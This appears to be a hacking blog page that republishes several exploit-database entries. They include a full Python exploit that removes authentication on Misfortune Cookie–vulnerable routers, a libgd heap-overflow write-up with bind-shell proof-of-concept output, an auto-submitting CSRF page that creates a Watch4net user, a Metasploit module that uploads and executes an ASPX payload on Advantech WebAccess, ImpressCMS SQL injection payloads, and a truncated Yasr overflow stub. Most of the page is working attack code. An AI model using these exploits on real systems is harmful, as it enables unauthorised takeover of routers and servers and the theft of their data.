Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863123301

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Title: Misfortune Cookie Exploit (RomPager <= 4.34) router authentication remover
# Date: 17/4/2016
# CVE: CVE-2015-9222 (http://mis.fortunecook.ie)
# Vendors: ZyXEL,TP-Link,D-Link,Nilox,Billion,ZTE,AirLive,...
# Vulnerable models: http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf 
# Versions affected: RomPager <= 4.34 (specifically 4.07)
# Tested on : firmwares which are set as tested in the targets list
# Category: Remote Exploit
# Usage: ./exploit.py url
#	Example: python exploit.py http://192.168.1.1 , python exploit.py https://192.168.1.1:3040

# Author: Milad Doorbash
# Email: milad.doorbash@gmail.com
# Social: @doorbash
# Blog: http://doorbash.ir

# Many Thanks to : 
# 	Cawan Chui (http://embedsec.systems/embedded-device-security/2015/02/16/Misfortune-Cookie-CVE-2014-9222-Demystified.html)
#	Piotr Bania (http://piotrbania.com/all/articles/tplink_patch)
#	Grant Willcox (https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/porting-the-misfortune-cookie-exploit-whitepaperpdf)
# 	Chan (http://scz.617.cn/misc/201504141114.txt -- http://www.nsfocus.com.cn/upload/contents/2015/09/2015_09181715274142.pdf)

# Disclaimer :
#	This exploit is for testing and educational purposes only.Any other usage for this code is not allowed.
#	Author takes no responsibility for any actions with provided informations or codes.

# Description :
# 	Misfortune Cookie is a critical vulnerability that allows an intruder to remotely
# 	take over an Internet router and use it to attack home and business networks.With a few magic
#	cookies added to your request you bypass any authentication and browse the configuration
#	interface as admin, from any open port.

import requests
import sys
import time

MODE_TEST = 100000
MODE_BRUTE_FORCE = 100001

if len(sys.argv) == 1:
	print "usage: python " + sys.argv[0] + " url [enable]"
	print "example: python exploit.py http://192.168.1.1 , python exploit.py https://192.168.1.1:3040"
	exit()

url = str(sys.argv[1])
auth_byte = '\x00'
s = requests.Session()

if len(sys.argv) == 3:
	if str(sys.argv[2]) == 'enable':
		auth_byte = '\x01' # enable authenticaion again
	else:
		print "usage: python " + sys.argv[0] + " url [enable]" 
		exit()

targets = [

	["Azmoon	AZ-D140W		2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1",107367693,13], # 0x803D5A79		# tested
	["Billion	BiPAC 5102S		Av2.7.0.23 (UE0.B1C)",107369694,13], # 0x8032204d						# ----------
	["Billion	BiPAC 5102S		Bv2.7.0.23 (UE0.B1C)",107369694,13], # 0x8032204d						# ----------
	["Billion	BiPAC 5200		2.11.84.0(UE2.C2)3.11.11.6",107369545,9], # 0x803ec2ad					# ----------
	["Billion	BiPAC 5200		2_11_62_2_ UE0.C2D_3_10_16_0",107371218,21], # 0x803c53e5				# ----------
	["Billion	BiPAC 5200A		2_10_5 _0(RE0.C2)3_6_0_0",107366366,25], # 0x8038a6e1					# ----------
	["Billion	BiPAC 5200A		2_11_38_0 (RE0.C29)3_10_5_0",107371453,9], # 0x803b3a51					# ----------
	["Billion	BiPAC 5200GR4		2.11.91.0(RE2.C29)3.11.11.52",107367690,21], # 0x803D8A51			# tested
	["Billion	BiPAC 5200S		2.10.5.0 (UE0.C2C) 3.6.0.0",107368270,1], # 0x8034b109					# ----------
	["Billion	BiPAC 5200SRD		2.12.17.0_UE2.C3_3.12.17.0",107371378,37], # 0x8040587d				# ----------
	["Billion	BiPAC 5200SRD		2_11_62_2(UE0.C3D)3_11_11_22",107371218,13], # 0x803c49d5			# ----------
	["D-Link	DSL-2520U	Z1	1.08 DSL-2520U_RT63261_Middle_East_ADSL",107368902,25], # 0x803fea01	# tested
	["D-Link	DSL-2600U	Z1	DSL-2600U HWZ1",107366496,13], # 0x8040637d								# ----------
	["D-Link	DSL-2600U	Z2	V1.08_ras",107360133,20], # 0x803389B0									# ----------
	["TP-Link	TD-8616		V2	TD-8616_v2_080513",107371483,21], # 0x80397055							# ----------
	["TP-Link	TD-8816		V4	TD-8816_100528_Russia",107369790,17], # 0x803ae0b1						# ----------
	["TP-Link	TD-8816		V4	TD-8816_V4_100524",107369790,17], # 0x803ae0b1							# ----------
	["TP-Link	TD-8816		V5	TD-8816_100528_Russia",107369790,17], # 0x803ae0b1						# ----------
	["TP-Link	TD-8816		V5	TD-8816_V5_100524",107369790,17], # 0x803ae0b1							# tested
	["TP-Link	TD-8816		V5	TD-8816_V5_100903",107369790,17], # 0x803ae0b1							# ----------
	["TP-Link	TD-8816		V6	TD-8816_V6_100907",107371426,17], # 0x803c6e09							# ----------
	["TP-Link	TD-8816		V7	TD-8816_V7_111103",107371161,1], # 0x803e1bd5							# ----------
	["TP-Link	TD-8816		V7	TD-8816_V7_130204",107370211,5], # 0x80400c85							# ----------
	["TP-Link	TD-8817		V5	TD-8817_V5_100524",107369790,17], # 0x803ae0b1							# ----------
	["TP-Link	TD-8817		V5	TD-8817_V5_100702_TR",107369790,17], # 0x803ae0b1						# ----------
	["TP-Link	TD-8817		V5	TD-8817_V5_100903",107369790,17], # 0x803ae0b1							# ----------
	["TP-Link	TD-8817		V6	TD-8817_V6_100907",107369788,1], # 0x803b6e09							# ----------
	["TP-Link	TD-8817		V6	TD-8817_V6_101221",107369788,1], # 0x803b6e09							# ----------
	["TP-Link	TD-8817		V7	TD-8817_V7_110826",107369522,25], # 0x803d1bd5							# ----------
	["TP-Link	TD-8817		V7	TD-8817_V7_130217",107369316,21], # 0x80407625							# ----------
	["TP-Link	TD-8817		V7	TD-8817_v7_120509",107369321,9], # 0x803fbcc5							# tested
	["TP-Link	TD-8817		V8	TD-8817_V8_140311",107351277,20], # 0x8024E148							# Grant	Willcox	
	["TP-Link	TD-8820		V3	TD-8820_V3_091223",107369768,17], # 0x80397E69							# Chan
	["TP-Link	TD-8840T 	V1	TD-8840T_080520",107369845,5], # 0x80387055								# ----------
	["TP-Link	TD-8840T 	V2	TD-8840T_V2_100525",107369790,17], # 0x803ae0b1							# tested
	["TP-Link	TD-8840T 	V2	TD-8840T_V2_100702_TR",107369790,17], # 0x803ae0b1						# ----------
	["TP-Link	TD-8840T 	V2	TD-8840T_v2_090609",107369570,1], # 0x803c65d5							# ----------
	["TP-Link	TD-8840T 	V3	TD-8840T_V3_101208",107369766,17], #0x803c3e89							# tested	
	["TP-Link	TD-8840T 	V3	TD-8840T_V3_110221",107369764,5], # 0x803d1a09							# ----------
	["TP-Link	TD-8840T 	V3	TD-8840T_V3_120531",107369688,17], # 0x803fed35							# ----------
	["TP-Link	TD-W8101G 	V1	TD-W8101G_090107",107367772,37], # 0x803bf701							# ----------
	["TP-Link	TD-W8101G 	V1	TD-W8101G_090107",107367808,21], # 0x803e5b6d							# ----------
	["TP-Link	TD-W8101G 	V2	TD-W8101G_V2_100819",107367751,21], # 0x803dc701						# ----------
	["TP-Link	TD-W8101G 	V2	TD-W8101G_V2_101015_TR",107367749,13], # 0x803e1829						# ----------
	["TP-Link	TD-W8101G 	V2	TD-W8101G_V2_101101",107367749,13], # 0x803e1829						# ----------
	["TP-Link	TD-W8101G 	V3	TD-W8101G_V3_110119",107367765,25], # 0x804bb941						# ----------
	["TP-Link	TD-W8101G 	V3	TD-W8101G_V3_120213",107367052,25], # 0x804e1ff9						# ----------
	["TP-Link	TD-W8101G 	V3	TD-W8101G_V3_120604",107365835,1], # 0x804f16a9							# ----------
	["TP-Link	TD-W8151N	V3	TD-W8151N_V3_120530",107353867,24], # 0x8034F3A4						# tested
	["TP-Link	TD-W8901G	V1	TD-W8901G_080522",107367787,21], # 0x803AB30D							# Piotr Bania
	["TP-Link	TD-W8901G	V1,2	TD-W8901G_080522",107368013,5], # 0x803AB30D						# ----------
	["TP-Link	TD-W8901G	V2	TD-W8901G_090113_Turkish",107368013,5], # 0x803AB30D					# ----------
	["TP-Link	TD-W8901G	V3	TD-W8901G(UK)_V3_140512",107367854,9], # 0x803cf335						# tested
	["TP-Link	TD-W8901G	V3	TD-W8901G_V3_100603",107367751,21], # 0x803DC701						# chan
	["TP-Link	TD-W8901G	V3	TD-W8901G_V3_100702_TR",107367751,21], # 0x803DC701						# tested
	["TP-Link	TD-W8901G	V3	TD-W8901G_V3_100901",107367749,13], # 0x803E1829						# tested
	["TP-Link	TD-W8901G	V6	TD-W8901G_V6_110119",107367765,25], # 0x804BB941						# Chan
	["TP-Link	TD-W8901G	V6	TD-W8901G_V6_110915",107367682,21], # 0x804D7CB9						# Chan
	["TP-Link	TD-W8901G 	V6	TD-W8901G_V6_120418",107365835,1], # 0x804F16A9							# ----------
	["TP-Link	TD-W8901G 	V6 	TD-W8901G_V6_120213",107367052,25], # 0x804E1FF9						# ----------
	["TP-Link	TD-W8901GB	V3	TD-W8901GB_V3_100727",107367756,13], # 0x803dfbe9						# ----------
	["TP-Link	TD-W8901GB	V3	TD-W8901GB_V3_100820",107369393,21], # 0x803f1719						# ----------
	["TP-Link	TD-W8901N	V1	TD-W8901N v1_111211",107353880,0],  # 0x8034FF94						# cawan	Chui
	["TP-Link	TD-W8951ND	V1	TD-TD-W8951ND_V1_101124,100723,100728",107369839,25], # 0x803d2d61		# tested
	["TP-Link	TD-W8951ND	V1	TD-TD-W8951ND_V1_110907",107369876,13], # 0x803d6ef9 					# ----------
	["TP-Link	TD-W8951ND	V1	TD-W8951ND_V1_111125",107369876,13], # 0x803d6ef9						# ----------
	["TP-Link	TD-W8951ND	V3	TD-W8951ND_V3.0_110729_FI",107366743,21], # 0x804ef189					# ----------
	["TP-Link	TD-W8951ND	V3	TD-W8951ND_V3_110721",107366743,21], # 0x804ee049						# ----------
	["TP-Link	TD-W8951ND	V3	TD-W8951ND_V3_20110729_FI",107366743,21], # 0x804ef189					# ----------
	["TP-Link	TD-W8951ND	V4	TD-W8951ND_V4_120511",107364759,25],  # 0x80523979						# tested
	["TP-Link	TD-W8951ND	V4	TD-W8951ND_V4_120607",107364759,13], # 0x80524A91						# tested
	["TP-Link	TD-W8951ND	V4	TD-W8951ND_v4_120912_FL",107364760,21], # 0x80523859					# tested
	["TP-Link	TD-W8961NB	V1	TD-W8961NB_V1_110107",107369844,17], # 0x803de3f1						# tested
	["TP-Link	TD-W8961NB	V1	TD-W8961NB_V1_110519",107369844,17], # 0x803de3f1						# ----------
	["TP-Link	TD-W8961NB	V2	TD-W8961NB_V2_120319",107367629,21], # 0x80531859						# ----------
	["TP-Link	TD-W8961NB	V2	TD-W8961NB_V2_120823",107366421,13], # 0x80542e59						# ----------
	["TP-Link	TD-W8961ND	V1	TD-W8961ND_V1_100722,101122",107369839,25], # 0x803D2D61				# tested
	["TP-Link	TD-W8961ND	V1	TD-W8961ND_V1_101022_TR",107369839,25], # 0x803D2D61					# ----------
	["TP-Link	TD-W8961ND	V1	TD-W8961ND_V1_111125",107369876,13], # 0x803D6EF9						# ----------
	["TP-Link	TD-W8961ND	V2	TD-W8961ND_V2_120427",107364732,25], # 0x8052e0e9						# ----------
	["TP-Link	TD-W8961ND	V2	TD-W8961ND_V2_120710_UK",107364771,37], # 0x80523AA9					# ----------
	["TP-Link	TD-W8961ND	V2	TD-W8961ND_V2_120723_FI",107364762,29], # 0x8052B6B1					# ----------
	["TP-Link	TD-W8961ND	V3	TD-W8961ND_V3_120524,120808",107353880,0], # 0x803605B4					# ----------
	["TP-Link	TD-W8961ND	V3	TD-W8961ND_V3_120830",107353414,36], # 0x803605B4						# ----------
	["ZyXEL	P-660R-T3	V3	3.40(BOQ.0)C0",107369567,21], # 0x803db071									# tested
	["ZyXEL	P-660RU-T3	V3	3.40(BJR.0)C0",107369567,21], # 0x803db071									# ----------
	

# *---------- means data for this firmware is obtained from other tested firmwares.
# if you tested on your devices report to me so i can change them to tested state.
# don't forget to mention your device model and full firmware version in your reports.
# I could not gather information for every vulnerable firmwares since some vendors has removed
# vulnerable/old ones from their websites or add some unknown-yet security mechanisms to the them.
# if you want to add missing firmwares data to list you can do it by reading blog posts
# mentioned in "Many thanks to" part at the beginning.Btw please don't hesitate to contact me
# for any question or further information.

]

def request(num,n,data):
	try:
		print "\nConnecting to: " + url + "\n"
		s.headers.update({"Cookie":"C" + str(num) + "=" + "B"* n + data + ";"})
		r = s.get(url)
		print str(r.status_code) + "\n"
		for i in r.headers:
			print i + ": " + r.headers[i]
		return [r.status_code,r.text]
	except Exception, e:
		return 1000


def printMenu():
	print """
         __  __ _      __            _                    
        |  \/  (_)___ / _| ___  _ __| |_ _   _ _ __   ___ 
        | |\/| | / __| |_ / _ \| '__| __| | | | '_ \ / _ \			
        | |  | | \__ \  _| (_) | |  | |_| |_| | | | |  __/				
        |_|  |_|_|___/_|  \___/|_|   \__|\__,_|_| |_|\___|			
                                                          
   ____            _    _        _____            _       _ _   
  / ___|___   ___ | | _(_) ___  | ____|_  ___ __ | | ___ (_) |_ 
 | |   / _ \ / _ \| |/ / |/ _ \ |  _| \ \/ / '_ \| |/ _ \| | __|
 | |__| (_) | (_) |   <| |  __/ | |___ >  <| |_) | | (_) | | |_ 
  \____\___/ \___/|_|\_\_|\___| |_____/_/\_\ .__/|_|\___/|_|\__|
                                           |_|                 

----------------------------------------------------------------------------
"""
	for k,i in enumerate(targets):
		print str(k+1) + "- " + i[0]

	print """
0- Not sure just try them all! (may cause reboot)
T- Test misfortune cookie vulnerablity against target
B- BruteForce to find auth-remover cookie (may cause reboot)
"""
	c = 0
	while True:
		selection = raw_input("select a target: ")
		if selection == "T":
			return MODE_TEST
		elif selection == "B":
			return MODE_BRUTE_FORCE
		c = int(selection)
		if c <= len(targets):
			break
		else:
			print "bad input try again"
	return c - 1

def bruteforce():
	for i in range(107364000,107380000):
		for j in range(0,40):
			print "testing " + str(i) + " , " + str(j)
			result = request(i,j,"\x00")[0]
			if result <= 302:
				print "YEAHHH!!!!"
				print str(i) + " , " + str(j) + " is the answer!"
				return
			elif result == 1000:
				time.sleep(60)

def exploit():
	c = printMenu()
	if c < 0:
		for k,i in enumerate(targets):
			print "testing #" + str(k+1) + " ..."
			result = request(i[1],i[2],auth_byte)[0]
			if result == 1000:
				print "\n[!] Error. maybe router crashed by sending wrong cookie or it's your connection problem.waiting 60 seconds for router to reboot"
				time.sleep(60)
			elif result <= 302:
				print "\n[!] Seems good but check " + url + " using your browser to verify if authentication is disabled or not."
				break # some routers always return 200 (for custom login page). so maybe we should comment this line
			else:
				print "\n[!] Failed."
	else:
		if c == MODE_TEST:
			if "HelloWorld" in request(107373883,0,"/HelloWorld")[1]:
				print "\n[!] Target is vulnerable"
			else:
				print "\n[!] Target is not vulnerable"
		elif c == MODE_BRUTE_FORCE:
			bruteforce()
		elif request(targets[c][1],targets[c][2],auth_byte)[0] > 302:
			print "\n[!] Failed."
		else:
			print "\n[!] Seems good but check " + url + " using your browser to verify if authentication is disabled or not."

exploit()
            
Overview
========

libgd [1] is an open-source image library.  It is perhaps primarily used
by the PHP project.  It has been bundled with the default installation
of PHP since version 4.3 [2].

A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which
may result in a heap overflow when processing compressed gd2 data.


Details
=======

4 bytes representing the chunk index size is stored in a signed integer,
chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:

libgd-2.1.1/src/gd_gd2.c:
,----
|  53 typedef struct {
|  54     int offset;
|  55     int size;
|  56 }
|  57 t_chunk_info;
`----


libgd-2.1.1/src/gd_gd2.c:
,----
|  65 static int
|  66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,
|  67                int *cs, int *vers, int *fmt, int *ncx, int *ncy,
|  68                t_chunk_info ** chunkIdx)
|  69 {
| ...
|  73     t_chunk_info *cidx;
| ...
| 155     if (gd2_compressed (*fmt)) {
| ...
| 163         for (i = 0; i < nc; i++) {
| ...
| 167             if (gdGetInt (&cidx[i].size, in) != 1) {
| 168                 goto fail2;
| 169             };
| 170         };
| 171         *chunkIdx = cidx;
| 172     };
| ...
| 181 }
`----


`gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then
allocates memory for the compressed data based on the value of the
largest chunk size:

libgd-2.1.1/src/gd_gd2.c:
,----
| 371|637     if (gd2_compressed (fmt)) {
| 372|638         /* Find the maximum compressed chunk size. */
| 373|639         compMax = 0;
| 374|640         for (i = 0; (i < nc); i++) {
| 375|641             if (chunkIdx[i].size > compMax) {
| 376|642                 compMax = chunkIdx[i].size;
| 377|643             };
| 378|644         };
| 379|645         compMax++;
| ...|...
| 387|656         compBuf = gdCalloc (compMax, 1);
| ...|...
| 393|661     };
`----


A size of <= 0 results in `compMax' retaining its initial value during
the loop, followed by it being incremented to 1.  Since `compMax' is
used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation
for `compBuf'.

This is followed by compressed data being read to `compBuf' based on the
current (potentially negative) chunk size:

libgd-2.1.1/src/gd_gd2.c:
,----
| 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
| 340 {
| ...
| 413         if (gd2_compressed (fmt)) {
| 414
| 415             chunkLen = chunkMax;
| 416
| 417             if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
| 418                                 compBuf,
| 419                                 chunkIdx[chunkNum].size,
| 420                                 (char *) chunkBuf, &chunkLen, in)) {
| 421                 GD2_DBG (printf ("Error reading comproessed chunk\n"));
| 422                 goto fail;
| 423             };
| 424
| 425             chunkPos = 0;
| 426         };
| ...
| 501 }
`----


libgd-2.1.1/src/gd_gd2.c:
,----
| 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)
| 586 {
| ...
| 713         if (!gd2_compressed (fmt)) {
| ...
| 731         } else {
| 732             chunkNum = cx + cy * ncx;
| 733
| 734             chunkLen = chunkMax;
| 735             if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
| 736                                 compBuf,
| 737                                 chunkIdx[chunkNum].size,
| 738                                 (char *) chunkBuf, &chunkLen, in)) {
| 739                 printf ("Error reading comproessed chunk\n");
| 740                 goto fail2;
| 741             };
| ...
| 746         };
| ...
| 815 }
`----


The size is subsequently interpreted as a size_t by `fread()' or
`memcpy()', depending on how the image is read:

libgd-2.1.1/src/gd_gd2.c:
,----
| 221 static int
| 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,
| 223            uLongf * chunkLen, gdIOCtx * in)
| 224 {
| ...
| 236     if (gdGetBuf (compBuf, compSize, in) != compSize) {
| 237         return FALSE;
| 238     };
| ...
| 251 }
`----

libgd-2.1.1/src/gd_io.c:
,----
| 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)
| 212 {
| 213     return (ctx->getBuf)(ctx, buf, size);
| 214 }
`----


For file contexts:

libgd-2.1.1/src/gd_io_file.c:
,----
|  52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)
|  53 {
| ...
|  67     ctx->ctx.getBuf = fileGetbuf;
| ...
|  76 }
| ...
|  92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)
|  93 {
|  94     fileIOCtx *fctx;
|  95     fctx = (fileIOCtx *)ctx;
|  96
|  97     return (fread(buf, 1, size, fctx->f));
|  98 }
`----


And for dynamic contexts:

libgd-2.1.1/src/gd_io_dp.c:
,----
|  74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)
|  75 {
| ...
|  95     ctx->ctx.getBuf = dynamicGetbuf;
| ...
| 104 }
| ...
| 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)
| 257 {
| ...
| 280     memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);
| ...
| 284 }
`----


PoC
===

Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:

,----
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
| [*] this may take a while
| [*] offset 912 of 10000...
| [+] connected to 1.2.3.4:5555
| id
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 
| uname -a
| Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
| 2016 x86_64 x86_64 x86_64 GNU/Linux
| 
| dpkg -l|grep -E "php5-(fpm|gd)"
| ii  php5-fpm       5.6.11+dfsg-1ubuntu3.1 ...
| ii  php5-gd        5.6.11+dfsg-1ubuntu3.1 ...
| 
| cat upload.php
| <?php
|     imagecreatefromgd2($_FILES["file"]["tmp_name"]);
| ?>
`----


Solution
========

This bug has been fixed in git HEAD [4].

Full Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39736.zip

Footnotes
_________

[1] [http://libgd.org/]
[2] [https://en.wikipedia.org/wiki/Libgd]
[3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]
[4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]
            
<!--
EMC M&R (Watch4net) lacks Cross-Site Request Forgery protection

Abstract

It was discovered that EMC M&R (Watch4net) does not protect against Cross-Site Request Forgery (CSRF) attacks. A successful CSRF attack can compromise end user data and may allow an attacker to perform an account hijack. If the targeted end user is the administrator account, this results in a full compromise of Watch4net.

Affected versions

Versions of EMC ViPR SRM prior to version 3.7 are affected by these vulnerabilities.

See also

- ESA-2016-039
- CVE-2016-0891

Fix

EMC released 34247_ViPR-SRM to fix these vulnerabilities. Please note that this fix is only available for registered EMC Online Support customers.

Introduction

EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard. EMC M&R is a core embedded software technology existing in EMC ViPR, ViPR SRM and Service Assurance Suite.

EMC M&R (Watch4net) does not protect against Cross-Site Request Forgery (CSRF) attacks. A successful CSRF attack can compromise end user data and may allow an attacker to perform an account hijack. If the targeted end user is the administrator account, this results in a full compromise of Watch4net.

Details

Cross-Site Request Forgery (CSRF) is an attack, which forces an end user to execute unwanted actions on a web application to which the targeted user is currently authenticated. With a little help of social engineering an attacker may trick the users of a web application into executing actions (requests) of the attacker's choosing.

The following proof of concept will create a new user named CSRF with password set to 1 in Watch4net - provided that the victim is logged in with an administrator account.
-->

<html>
   <body>
      <form action="http://<target>:58080/APG/admin/form" method="POST">
         <input type="hidden" name="form&#45;id" value="UserForm" />
         <input type="hidden" name="ident" value="" />
         <input type="hidden" name="old" value="" />
         <input type="hidden" name="name" value="CSRF" />
         <input type="hidden" name="password" value="1" />
         <input type="hidden" name="confirm" value="1" />
         <input type="hidden" name="title" value="" />
         <input type="hidden" name="first&#45;name" value="Han" />
         <input type="hidden" name="last&#45;name" value="Sahin" />
         <input type="hidden" name="email" value="attacker&#64;example&#46;com" />
         <input type="hidden" name="role" value="user" />
         <input type="hidden" name="profile" value="0" />
         <input type="hidden" name="user&#45;roles" value="5" />
         <input type="hidden" name="user&#45;roles" value="1" />
         <input type="hidden" name="user&#45;roles" value="3" />
         <input type="hidden" name="user&#45;roles" value="4" />
         <input type="hidden" name="user&#45;roles" value="2" />
         <input type="hidden" name="user&#45;roles" value="6" />
         <input type="hidden" name="filter" value="" />
         <input type="hidden" name="custom" value="true" />
         <input type="submit" value="Submit request" />
      </form>
      <script>
         document.forms[0].submit();
      </script>
   </body>
</html>
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
      'Description'    => %q{
         This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.

         This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
         of Advantech WebAccess. Authentication is not required to exploit this vulnerability.

         The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
         the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
         upload arbitrary code (instead of an image) to the server, which will then be executed under the
         high-privilege context of the IIS AppPool.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'rgod', # Vulnerability discovery
        'Zhou Yu <504137480[at]qq.com>' # MSF module
      ],
      'References'     => [
        [ 'CVE', '2016-0854' ],
        [ 'ZDI', '16-128' ],
        [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
      ],
      'Platform'      => 'win',
      'Targets'       => [
        ['Advantech WebAccess 8.0', {}]
      ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 5 2016",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
      ], self.class)
  end

  def version_match(data)
    # Software Build : 8.0-2015.08.15
    fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
    fingerprint['version'] unless fingerprint.nil?
  end

  def vuln_version?
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => target_uri.to_s
    )

    if res.redirect?
      res = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(res.redirection)
      )
    end

    ver = res && res.body ? version_match(res.body) : nil
    true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
  end

  def check
    if vuln_version?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def upload_file?(filename, file)
    uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')

    data = Rex::MIME::Message.new
    data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
    data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => uri,
      'cookie'  => "waUserName=admin",
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )
    true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
  end

  def exec_file?(filename)
    uri = normalize_uri(target_uri)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    uri = normalize_uri(target_uri, 'WADashboard', filename)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => uri,
      'cookie'   => res.get_cookies
    )
    true ? res && res.code == 200 : false
  end

  def exploit
    unless vuln_version?
      print_status("#{peer} - Cannot reliably check exploitability.")
      return
    end
    filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
    filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)

    print_status("#{peer} - Uploading malicious file...")
    return unless upload_file?(filename, filedata)

    print_status("#{peer} - Executing #{filename}...")
    return unless exec_file?(filename)
  end
end
            
=============================================
MGC ALERT 2016-002
- Original release date: April 8, 2016
- Last revised:  April 21, 2016
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Time-based SQL Injection in Admin panel ImpressCMS <= v1.3.9

II. BACKGROUND
-------------------------
ImpressCMS is a community developed Content Management System for easily
building and maintaining a dynamic web site.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable
"quicksearch_mod_profile_Field" on the page
"/modules/profile/admin/field.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Time Based Blind SQL injection.

quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
(SELECT(SLEEP(1)))IRLV) AND ('DhUh' LIKE
'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15

quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
(SELECT(SLEEP(5)))IRLV) AND ('DhUh' LIKE
'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
ImpressCMS <= v1.3.9

VII. SOLUTION
-------------------------
Install vendor patch.

VIII. REFERENCES
-------------------------
http://www.impresscms.org/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
April 8, 2016 1: Initial release
April 21, 2016 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
April 8, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
April 8, 2016 2: Send to vendor
April 15, 2016 3: New contact to vendor with no response
April 21, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
            
'''
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: General-purpose console screen reader
# Version: 0.6.9-5
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Yasr is a general-purpose console screen reader
for GNU/Linux and other Unix-like operating systems.
# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
# Website: http://yasr.sourceforge.net/
#
#
# Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
